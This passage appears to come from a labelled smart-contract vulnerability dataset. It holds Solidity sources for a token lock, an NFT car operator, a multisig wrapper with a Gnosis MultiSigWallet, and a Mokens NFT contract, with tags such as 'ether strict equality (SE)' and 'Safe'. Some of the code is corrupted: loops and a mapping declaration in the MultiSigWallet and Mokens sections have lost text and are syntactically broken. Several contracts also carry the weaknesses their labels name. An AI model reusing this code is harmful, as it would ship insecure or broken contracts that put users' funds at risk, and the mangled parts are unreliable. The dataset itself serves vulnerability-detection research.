_value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract LockToken is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; event TokenReleased(address beneficiary, uint256 token_amount); constructor(address tokenContractAddress, address _beneficiary) public{ token_reward = token(tokenContractAddress); beneficiary = _beneficiary; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock(uint256 lockTime) public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = lockTime; isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }",./Dataset/ether strict equality (SE),3,3 0x01de9415d1ae14ab755186bea22923afe2934d82_BitizenCarOperator.sol,"pragma solidity ^0.4.24; interface ERC721 /* is ERC165 */ { /// @dev This emits when ownership of any NFT changes by any mechanism. /// This event emits when NFTs are created (`from` == 0) and destroyed /// (`to` == 0). Exception: during contract creation, any number of NFTs /// may be created and assigned without emitting Transfer. At the time of /// any transfer, the approved address for that NFT (if any) is reset to none. event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); /// @dev This emits when the approved address for an NFT is changed or /// reaffirmed. The zero address indicates there is no approved address. /// When a Transfer event emits, this also indicates that the approved /// address for that NFT (if any) is reset to none. event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); /// @dev This emits when an operator is enabled or disabled for an owner. /// The operator can manage all NFTs of the owner. event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /// @notice Count all NFTs assigned to an owner /// @dev NFTs assigned to the zero address are considered invalid, and this /// function throws for queries about the zero address. /// @param _owner An address for whom to query the balance /// @return The number of NFTs owned by `_owner`, possibly zero function balanceOf(address _owner) external view returns (uint256); /// @notice Find the owner of an NFT /// @dev NFTs assigned to zero address are considered invalid, and queries /// about them do throw. /// @param _tokenId The identifier for an NFT /// @return The address of the owner of the NFT function ownerOf(uint256 _tokenId) external view returns (address); /// @notice Transfers the ownership of an NFT from one address to another address /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. When transfer is complete, this function /// checks if `_to` is a smart contract (code size > 0). If so, it calls /// `onERC721Received` on `_to` and throws if the return value is not /// `bytes4(keccak256(""onERC721Received(address,address,uint256,bytes)""))`. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer /// @param data Additional data with no specified format, sent in call to `_to` function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external; /// @notice Transfers the ownership of an NFT from one address to another address /// @dev This works identically to the other function with an extra data parameter, /// except this function just sets data to """". /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function safeTransferFrom(address _from, address _to, uint256 _tokenId) external; /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE /// THEY MAY BE PERMANENTLY LOST /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function transferFrom(address _from, address _to, uint256 _tokenId) external; /// @notice Change or reaffirm the approved address for an NFT /// @dev The zero address indicates there is no approved address. /// Throws unless `msg.sender` is the current NFT owner, or an authorized /// operator of the current owner. /// @param _approved The new approved NFT controller /// @param _tokenId The NFT to approve function approve(address _approved, uint256 _tokenId) external; /// @notice Enable or disable approval for a third party (""operator"") to manage /// all of `msg.sender`'s assets /// @dev Emits the ApprovalForAll event. The contract MUST allow /// multiple operators per owner. /// @param _operator Address to add to the set of authorized operators /// @param _approved True if the operator is approved, false to revoke approval function setApprovalForAll(address _operator, bool _approved) external; /// @notice Get the approved address for a single NFT /// @dev Throws if `_tokenId` is not a valid NFT. /// @param _tokenId The NFT to find the approved address for /// @return The approved address for this NFT, or the zero address if there is none function getApproved(uint256 _tokenId) external view returns (address); /// @notice Query if an address is an authorized operator for another address /// @param _owner The address that owns the NFTs /// @param _operator The address that acts on behalf of the owner /// @return True if `_operator` is an approved operator for `_owner`, false otherwise function isApprovedForAll(address _owner, address _operator) external view returns (bool); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Operator * @dev Allow two roles: 'owner' or 'operator' * - owner: admin/superuser (e.g. with financial rights) * - operator: can update configurations */ contract Operator is Ownable { address[] public operators; uint public MAX_OPS = 20; // Default maximum number of operators allowed mapping(address => bool) public isOperator; event OperatorAdded(address operator); event OperatorRemoved(address operator); // @dev Throws if called by any non-operator account. Owner has all ops rights. modifier onlyOperator() { require( isOperator[msg.sender] || msg.sender == owner, ""Permission denied. Must be an operator or the owner."" ); _; } /** * @dev Allows the current owner or operators to add operators * @param _newOperator New operator address */ function addOperator(address _newOperator) public onlyOwner { require( _newOperator != address(0), ""Invalid new operator address."" ); // Make sure no dups require( !isOperator[_newOperator], ""New operator exists."" ); // Only allow so many ops require( operators.length < MAX_OPS, ""Overflow."" ); operators.push(_newOperator); isOperator[_newOperator] = true; emit OperatorAdded(_newOperator); } /** * @dev Allows the current owner or operators to remove operator * @param _operator Address of the operator to be removed */ function removeOperator(address _operator) public onlyOwner { // Make sure operators array is not empty require( operators.length > 0, ""No operator."" ); // Make sure the operator exists require( isOperator[_operator], ""Not an operator."" ); // Manual array manipulation: // - replace the _operator with last operator in array // - remove the last item from array address lastOperator = operators[operators.length - 1]; for (uint i = 0; i < operators.length; i++) { if (operators[i] == _operator) { operators[i] = lastOperator; } } operators.length -= 1; // remove the last element isOperator[_operator] = false; emit OperatorRemoved(_operator); } // @dev Remove ALL operators function removeAllOps() public onlyOwner { for (uint i = 0; i < operators.length; i++) { isOperator[operators[i]] = false; } operators.length = 0; } } interface BitizenCarService { function isBurnedCar(uint256 _carId) external view returns (bool); function getOwnerCars(address _owner) external view returns(uint256[]); function getBurnedCarIdByIndex(uint256 _index) external view returns (uint256); function getCarInfo(uint256 _carId) external view returns(string, uint8, uint8); function createCar(address _owner, string _foundBy, uint8 _type, uint8 _ext) external returns(uint256); function updateCar(uint256 _carId, string _newFoundBy, uint8 _newType, uint8 _ext) external; function burnCar(address _owner, uint256 _carId) external; } contract BitizenCarOperator is Operator { event CreateCar(address indexed _owner, uint256 _carId); BitizenCarService internal carService; ERC721 internal ERC721Service; uint16 PER_USER_MAX_CAR_COUNT = 1; function injectCarService(BitizenCarService _service) public onlyOwner { carService = BitizenCarService(_service); ERC721Service = ERC721(_service); } function setMaxCount(uint16 _count) public onlyOwner { PER_USER_MAX_CAR_COUNT = _count; } function getOwnerCars() external view returns(uint256[]) { return carService.getOwnerCars(msg.sender); } function getCarInfo(uint256 _carId) external view returns(string, uint8, uint8){ return carService.getCarInfo(_carId); } function createCar(string _foundBy) external returns(uint256) { require(ERC721Service.balanceOf(msg.sender) < PER_USER_MAX_CAR_COUNT,""user owned car count overflow""); uint256 carId = carService.createCar(msg.sender, _foundBy, 1, 1); emit CreateCar(msg.sender, carId); return carId; } function createCarByOperator(address _owner, string _foundBy, uint8 _type, uint8 _ext) external onlyOperator returns (uint256) { uint256 carId = carService.createCar(_owner, _foundBy, _type, _ext); emit CreateCar(msg.sender, carId); return carId; } }",Safe,8,8 32699.sol,"pragma solidity ^0.4.18; contract ZipperWithdrawalRight { address realzipper; function ZipperWithdrawalRight(address _realzipper) public { realzipper = _realzipper; } function withdraw(MultiSigWallet _wallet, uint _value) public { require (_wallet.isOwner(msg.sender)); require (_wallet.isOwner(this)); _wallet.submitTransaction(msg.sender, _value, """"); } function changeRealZipper(address _newRealZipper) public { require(msg.sender == realzipper); realzipper = _newRealZipper; } function submitTransaction(MultiSigWallet _wallet, address _destination, uint _value, bytes _data) public returns (uint transactionId) { require(msg.sender == realzipper); return _wallet.submitTransaction(_destination, _value, _data); } function confirmTransaction(MultiSigWallet _wallet, uint transactionId) public { require(msg.sender == realzipper); _wallet.confirmTransaction(transactionId); } function revokeConfirmation(MultiSigWallet _wallet, uint transactionId) public { require(msg.sender == realzipper); _wallet.revokeConfirmation(transactionId); } function executeTransaction(MultiSigWallet _wallet, uint transactionId) public { require(msg.sender == realzipper); _wallet.confirmTransaction(transactionId); } } // b7f01af8bd882501f6801eb1eea8b22aa2a4979e from https://github.com/gnosis/MultiSigWallet/blob/master/contracts/MultiSigWallet.sol /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i Moken) internal mokens; uint256 internal mokensLength = 0; string public defaultURIStart = ""https://api.mokens.io/moken/""; string public defaultURIEnd = "".json""; uint256 public blockNum; mapping(uint256 => bytes32) internal eras; uint256 internal eraLength = 0; mapping(bytes32 => uint256) internal eraIndex; uint256 public mintPriceOffset = 0 szabo; uint256 public mintStepPrice = 500 szabo; uint256 public mintPriceBuffer = 5000 szabo; bytes4 constant ERC721_RECEIVED_NEW = 0x150b7a02; bytes4 constant ERC721_RECEIVED_OLD = 0xf0b9e5ba; bytes32 constant ERC998_MAGIC_VALUE = 0xcd740db5; uint256 constant UINT16_MASK = 0x000000000000000000000000000000000000000000000000000000000000ffff; uint256 constant MOKEN_LINK_HASH_MASK = 0xffffffffffffffff000000000000000000000000000000000000000000000000; uint256 constant MOKEN_DATA_MASK = 0x0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff; uint256 constant MAX_MOKENS = 4294967296; uint256 constant MAX_OWNER_MOKENS = 65536; mapping(address => mapping(uint256 => address)) internal rootOwnerAndTokenIdToApprovedAddress; mapping(address => mapping(address => bool)) internal tokenOwnerToOperators; mapping(address => uint32[]) internal ownedTokens; mapping(address => mapping(uint256 => uint256)) internal childTokenOwner; mapping(uint256 => mapping(address => uint256[])) internal childTokens; mapping(uint256 => mapping(address => mapping(uint256 => uint256))) internal childTokenIndex; mapping(uint256 => mapping(address => uint256)) internal childContractIndex; mapping(uint256 => address[]) internal childContracts; mapping(uint256 => address[]) internal erc20Contracts; mapping(uint256 => mapping(address => uint256)) internal erc20Balances; mapping(address => mapping(uint256 => uint32[])) internal parentToChildTokenIds; mapping(uint256 => uint256) internal tokenIdToChildTokenIdsIndex; address[] internal mintContracts; mapping(address => uint256) internal mintContractIndex; mapping(string => uint256) internal tokenByName_; mapping(uint256 => mapping(address => uint256)) erc20ContractIndex; address public delegate; mapping(bytes4 => bool) internal supportedInterfaces; event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _tokenOwner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _tokenOwner, address indexed _operator, bool _approved); event ReceivedChild(address indexed _from, uint256 indexed _tokenId, address indexed _childContract, uint256 _childTokenId); event TransferChild(uint256 indexed tokenId, address indexed _to, address indexed _childContract, uint256 _childTokenId); event ReceivedERC20(address indexed _from, uint256 indexed _tokenId, address indexed _erc20Contract, uint256 _value); event TransferERC20(uint256 indexed _tokenId, address indexed _to, address indexed _erc20Contract, uint256 _value); function isContract(address addr) internal view returns (bool) { uint256 size; assembly {size := extcodesize(addr)} return size > 0; } modifier onlyOwner() { require(msg.sender == owner, ""Must be the contract owner.""); _; } function rootOwnerOf(uint256 _tokenId) public view returns (bytes32 rootOwner) { address rootOwnerAddress = address(mokens[_tokenId].data); require(rootOwnerAddress != address(0), ""tokenId not found.""); uint256 parentTokenId; bool isParent; while (rootOwnerAddress == address(this)) { parentTokenId = mokens[_tokenId].parentTokenId; isParent = parentTokenId > 0; if(isParent) { _tokenId = parentTokenId - 1; } else { _tokenId = childTokenOwner[rootOwnerAddress][_tokenId]-1; } rootOwnerAddress = address(mokens[_tokenId].data); } parentTokenId = mokens[_tokenId].parentTokenId; isParent = parentTokenId > 0; if(isParent) { parentTokenId--; } bytes memory calldata; bool callSuccess; if (isParent == false) { calldata = abi.encodeWithSelector(0xed81cdda, address(this), _tokenId); assembly { callSuccess := staticcall(gas, rootOwnerAddress, add(calldata, 0x20), mload(calldata), calldata, 0x20) if callSuccess { rootOwner := mload(calldata) } } if (callSuccess == true && rootOwner >> 224 == ERC998_MAGIC_VALUE) { return rootOwner; } else { return ERC998_MAGIC_VALUE << 224 | bytes32(rootOwnerAddress); } } else { calldata = abi.encodeWithSelector(0x43a61a8e, parentTokenId); assembly { callSuccess := staticcall(gas, rootOwnerAddress, add(calldata, 0x20), mload(calldata), calldata, 0x20) if callSuccess { rootOwner := mload(calldata) } } if (callSuccess == true && rootOwner >> 224 == ERC998_MAGIC_VALUE) { return rootOwner; } else { address childContract = rootOwnerAddress; calldata = abi.encodeWithSelector(0x6352211e, parentTokenId); assembly { callSuccess := staticcall(gas, rootOwnerAddress, add(calldata, 0x20), mload(calldata), calldata, 0x20) if callSuccess { rootOwnerAddress := mload(calldata) } } require(callSuccess, ""Call to ownerOf failed""); calldata = abi.encodeWithSelector(0xed81cdda, childContract, parentTokenId); assembly { callSuccess := staticcall(gas, rootOwnerAddress, add(calldata, 0x20), mload(calldata), calldata, 0x20) if callSuccess { rootOwner := mload(calldata) } } if (callSuccess == true && rootOwner >> 224 == ERC998_MAGIC_VALUE) { return rootOwner; } else { return ERC998_MAGIC_VALUE << 224 | bytes32(rootOwnerAddress); } } } } function rootOwnerOfChild(address _childContract, uint256 _childTokenId) public view returns (bytes32 rootOwner) { uint256 tokenId; if (_childContract != address(0)) { tokenId = childTokenOwner[_childContract][_childTokenId]; require(tokenId != 0, ""Child token does not exist""); tokenId--; } else { tokenId = _childTokenId; } return rootOwnerOf(tokenId); } function childApproved(address _from, uint256 _tokenId) internal { address approvedAddress = rootOwnerAndTokenIdToApprovedAddress[_from][_tokenId]; if(msg.sender != _from) { bytes32 tokenOwner; bool callSuccess; bytes memory calldata = abi.encodeWithSelector(0xed81cdda, address(this), _tokenId); assembly { callSuccess := staticcall(gas, _from, add(calldata, 0x20), mload(calldata), calldata, 0x20) if callSuccess { tokenOwner := mload(calldata) } } if(callSuccess == true) { require(tokenOwner >> 224 != ERC998_MAGIC_VALUE, ""Token is child of top down composable""); } require(tokenOwnerToOperators[_from][msg.sender] || approvedAddress == msg.sender, ""msg.sender not _from/operator/approved.""); } if (approvedAddress != address(0)) { delete rootOwnerAndTokenIdToApprovedAddress[_from][_tokenId]; emit Approval(_from, address(0), _tokenId); } } function _transferFrom(uint256 data, address _to, uint256 _tokenId) internal { address _from = address(data); uint256 lastTokenIndex = ownedTokens[_from].length - 1; uint256 lastTokenId = ownedTokens[_from][lastTokenIndex]; if (lastTokenId != _tokenId) { uint256 tokenIndex = data >> 160 & UINT16_MASK; ownedTokens[_from][tokenIndex] = uint32(lastTokenId); mokens[lastTokenId].data = mokens[lastTokenId].data & 0xffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffff | tokenIndex << 160; } ownedTokens[_from].length--; uint256 ownedTokensIndex = ownedTokens[_to].length; require(ownedTokensIndex < MAX_OWNER_MOKENS, ""A token owner address cannot possess more than 65,536 mokens.""); mokens[_tokenId].data = data & 0xffffffffffffffffffff00000000000000000000000000000000000000000000 | ownedTokensIndex << 160 | uint256(_to); ownedTokens[_to].push(uint32(_tokenId)); emit Transfer(_from, _to, _tokenId); } } contract Mokens is AbstractMokens { constructor(address _delegate) public { delegate = _delegate; blockNum = block.number; owner = msg.sender; bytes32 startingEra = ""Genesis""; bytes memory calldata = abi.encodeWithSignature(""startNextEra(bytes32)"", startingEra); bool callSuccess; assembly { callSuccess := delegatecall(gas, _delegate, add(calldata, 0x20), mload(calldata), 0, 0) } require(callSuccess); supportedInterfaces[0x01ffc9a7] = true; supportedInterfaces[0x80ac58cd] = true; supportedInterfaces[0x5b5e139f] = true; supportedInterfaces[0x780e9d63] = true; supportedInterfaces[0x150b7a02] = true; supportedInterfaces[0xf0b9e5ba] = true; supportedInterfaces[0x1efdf36a] = true; supportedInterfaces[0xa344afe4] = true; supportedInterfaces[0x7294ffed] = true; supportedInterfaces[0xc5fd96cd] = true; supportedInterfaces[0xa1b23002] = true; supportedInterfaces[0x8318b539] = true; } function supportsInterface(bytes4 _interfaceID) external view returns (bool) { return supportedInterfaces[_interfaceID]; } function balanceOf(address _tokenOwner) external view returns (uint256 totalMokensOwned) { require(_tokenOwner != address(0), ""Moken owner cannot be the 0 address.""); return ownedTokens[_tokenOwner].length; } function ownerOf(uint256 _tokenId) external view returns (address tokenOwner) { tokenOwner = address(mokens[_tokenId].data); require(tokenOwner != address(0), ""The tokenId does not exist.""); return tokenOwner; } function approve(address _approved, uint256 _tokenId) external { address rootOwner = address(rootOwnerOf(_tokenId)); require(rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender], ""Must be rootOwner or operator.""); rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId] = _approved; emit Approval(rootOwner, _approved, _tokenId); } function getApproved(uint256 _tokenId) external view returns (address approvedAddress) { address rootOwner = address(rootOwnerOf(_tokenId)); return rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId]; } function setApprovalForAll(address _operator, bool _approved) external { require(_operator != address(0), ""Operator cannot be 0 address.""); tokenOwnerToOperators[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } function isApprovedForAll(address _tokenOwner, address _operator) external view returns (bool approved) { return tokenOwnerToOperators[_tokenOwner][_operator]; } function transferFrom(address _from, address _to, uint256 _tokenId) external { require(_from != address(0), ""_from cannot be the 0 address.""); require(_to != address(0), ""_to cannot be the 0 address.""); uint256 data = mokens[_tokenId].data; require(address(data) == _from, ""The tokenId is not owned by _from.""); require(_to != address(this), ""Cannot transfer to this contract.""); require(mokens[_tokenId].parentTokenId == 0, ""Cannot transfer from an address when owned by a token.""); childApproved(_from, _tokenId); _transferFrom(data, _to, _tokenId); } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { require(_from != address(0), ""_from cannot be the 0 address.""); require(_to != address(0), ""_to cannot be the 0 address.""); uint256 data = mokens[_tokenId].data; require(address(data) == _from, ""The tokenId is not owned by _from.""); require(mokens[_tokenId].parentTokenId == 0, ""Cannot transfer from an address when owned by a token.""); childApproved(_from, _tokenId); _transferFrom(data, _to, _tokenId); if (isContract(_to)) { bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, """"); require(retval == ERC721_RECEIVED_NEW, ""_to contract cannot receive ERC721 tokens.""); } } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) external { require(_from != address(0), ""_from cannot be the 0 address.""); require(_to != address(0), ""_to cannot be the 0 address.""); uint256 data = mokens[_tokenId].data; require(address(data) == _from, ""The tokenId is not owned by _from.""); require(mokens[_tokenId].parentTokenId == 0, ""Cannot transfer from an address when owned by a token.""); childApproved(_from, _tokenId); _transferFrom(data, _to, _tokenId); if (_to == address(this)) { require(_data.length > 0, ""_data must contain the uint256 tokenId to transfer the token to.""); uint256 toTokenId; assembly {toTokenId := calldataload(164)} if (_data.length < 32) { toTokenId = toTokenId >> 256 - _data.length * 8; } receiveChild(_from, toTokenId, _to, _tokenId); } else { if (isContract(_to)) { bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data); require(retval == ERC721_RECEIVED_NEW, ""_to contract cannot receive ERC721 tokens.""); } } } function exists(uint256 _tokenId) external view returns (bool) { return _tokenId < mokensLength; } function tokenOfOwnerByIndex(address _tokenOwner, uint256 _index) external view returns (uint256 tokenId) { require(_index < ownedTokens[_tokenOwner].length, ""_tokenOwner does not own a moken at this index.""); return ownedTokens[_tokenOwner][_index]; } function totalSupply() external view returns (uint256 totalMokens) { return mokensLength; } function tokenByIndex(uint256 _index) external view returns (uint256 tokenId) { require(_index < mokensLength, ""A tokenId at index does not exist.""); return _index; } function name() external pure returns (string) { return ""Mokens""; } function symbol() external pure returns (string) { return ""MKN""; } function eraByIndex(uint256 _index) external view returns (bytes32 era) { require(_index < eraLength, ""No era at this index.""); return eras[_index]; } function eraByName(bytes32 _eraName) external view returns (uint256 indexOfEra) { uint256 index = eraIndex[_eraName]; require(index != 0, ""No era exists with this name.""); return index - 1; } function currentEra() external view returns (bytes32 era) { return eras[eraLength - 1]; } function currentEraIndex() external view returns (uint256 indexOfEra) { return eraLength - 1; } function eraExists(bytes32 _eraName) external view returns (bool) { return eraIndex[_eraName] != 0; } function totalEras() external view returns (uint256 totalEras_) { return eraLength; } event Mint( address indexed mintContract, address indexed owner, bytes32 indexed era, string mokenName, bytes32 data, uint256 tokenId, bytes32 currencyName, uint256 price ); event MintPriceChange( uint256 mintPrice ); function mintData() external view returns (uint256 mokensLength_, uint256 mintStepPrice_, uint256 mintPriceOffset_) { return (mokensLength, mintStepPrice, mintPriceOffset); } function mintPrice() external view returns (uint256) { return (mokensLength * mintStepPrice) - mintPriceOffset; } function mint(address _tokenOwner, string _mokenName, bytes32 _linkHash) external payable returns (uint256 tokenId) { require(_tokenOwner != address(0), ""Owner cannot be the 0 address.""); tokenId = mokensLength++; require(tokenId < MAX_MOKENS, ""Only 4,294,967,296 mokens can be created.""); uint256 mintStepPrice_ = mintStepPrice; uint256 mintPriceBuffer_ = mintPriceBuffer; uint256 currentMintPrice = (tokenId * mintStepPrice_) - mintPriceOffset; uint256 pricePaid = currentMintPrice; if (msg.value < currentMintPrice) { require(mintPriceBuffer_ > currentMintPrice || msg.value > currentMintPrice - mintPriceBuffer_, ""Paid ether is lower than mint price.""); pricePaid = msg.value; } string memory lowerMokenName = validateAndLower(_mokenName); require(tokenByName_[lowerMokenName] == 0, ""Moken name already exists.""); uint256 eraIndex_ = eraLength - 1; uint256 ownedTokensIndex = ownedTokens[_tokenOwner].length; require(ownedTokensIndex < MAX_OWNER_MOKENS, ""An single owner address cannot possess more than 65,536 mokens.""); uint256 data = uint256(_linkHash) & MOKEN_LINK_HASH_MASK | eraIndex_ << 176 | ownedTokensIndex << 160 | uint160(_tokenOwner); mokens[tokenId].name = _mokenName; mokens[tokenId].data = data; tokenByName_[lowerMokenName] = tokenId + 1; ownedTokens[_tokenOwner].push(uint32(tokenId)); emit Transfer(address(0), _tokenOwner, tokenId); emit Mint(this, _tokenOwner, eras[eraIndex_], _mokenName, bytes32(data), tokenId, ""Ether"", pricePaid); emit MintPriceChange(currentMintPrice + mintStepPrice_); if (msg.value > currentMintPrice) { msg.sender.transfer(msg.value - currentMintPrice); } return tokenId; } function isMintContract(address _contract) public view returns (bool) { return mintContractIndex[_contract] != 0; } function totalMintContracts() external view returns (uint256 totalMintContracts_) { return mintContracts.length; } function mintContractByIndex(uint256 index) external view returns (address contract_) { require(index < mintContracts.length, ""Contract index does not exist.""); return mintContracts[index]; } function contractMint(address _tokenOwner, string _mokenName, bytes32 _linkHash, bytes32 _currencyName, uint256 _pricePaid) external returns (uint256 tokenId) { require(_tokenOwner != address(0), ""Token owner cannot be the 0 address.""); require(isMintContract(msg.sender), ""Not an approved mint contract.""); tokenId = mokensLength++; uint256 mokensLength_ = tokenId + 1; require(tokenId < MAX_MOKENS, ""Only 4,294,967,296 mokens can be created.""); string memory lowerMokenName = validateAndLower(_mokenName); require(tokenByName_[lowerMokenName] == 0, ""Moken name already exists.""); uint256 eraIndex_ = eraLength - 1; uint256 ownedTokensIndex = ownedTokens[_tokenOwner].length; require(ownedTokensIndex < MAX_OWNER_MOKENS, ""An single token owner address cannot possess more than 65,536 mokens.""); uint256 data = uint256(_linkHash) & MOKEN_LINK_HASH_MASK | eraIndex_ << 176 | ownedTokensIndex << 160 | uint160(_tokenOwner); mokens[tokenId].name = _mokenName; mokens[tokenId].data = data; tokenByName_[lowerMokenName] = mokensLength_; ownedTokens[_tokenOwner].push(uint32(tokenId)); emit Transfer(address(0), _tokenOwner, tokenId); emit Mint(msg.sender, _tokenOwner, eras[eraIndex_], _mokenName, bytes32(data), tokenId, _currencyName, _pricePaid); emit MintPriceChange((mokensLength_ * mintStepPrice) - mintPriceOffset); return tokenId; } function validateAndLower(string _s) private pure returns (string mokenName) { assembly { let len := mload(_s) let p := add(_s, 0x20) if eq(len, 0) { revert(0, 0) } if gt(len, 100) { revert(0, 0) } let b := byte(0, mload(add(_s, 0x20))) if lt(b, 0x21) { revert(0, 0) } b := byte(0, mload(add(p, sub(len, 1)))) if lt(b, 0x21) { revert(0, 0) } for {let end := add(p, len)} lt(p, end) {p := add(p, 1)} { b := byte(0, mload(p)) if lt(b, 0x5b) { if gt(b, 0x40) { mstore8(p, add(b, 32)) } } } } return _s; } function mokenNameExists(string _mokenName) external view returns (bool) { return tokenByName_[validateAndLower(_mokenName)] != 0; } function mokenId(string _mokenName) external view returns (uint256 tokenId) { tokenId = tokenByName_[validateAndLower(_mokenName)]; require(tokenId != 0, ""No moken exists with this name.""); return tokenId - 1; } function mokenData(uint256 _tokenId) external view returns (bytes32 data) { data = bytes32(mokens[_tokenId].data); require(data != 0, ""The tokenId does not exist.""); return data; } function eraFromMokenData(bytes32 _data) public view returns (bytes32 era) { return eras[uint256(_data) >> 176 & UINT16_MASK]; } function eraFromMokenData(uint256 _data) public view returns (bytes32 era) { return eras[_data >> 176 & UINT16_MASK]; } function mokenEra(uint256 _tokenId) external view returns (bytes32 era) { uint256 data = mokens[_tokenId].data; require(data != 0, ""The tokenId does not exist.""); return eraFromMokenData(data); } function moken(uint256 _tokenId) external view returns (string memory mokenName, bytes32 era, bytes32 data, address tokenOwner) { data = bytes32(mokens[_tokenId].data); require(data != 0, 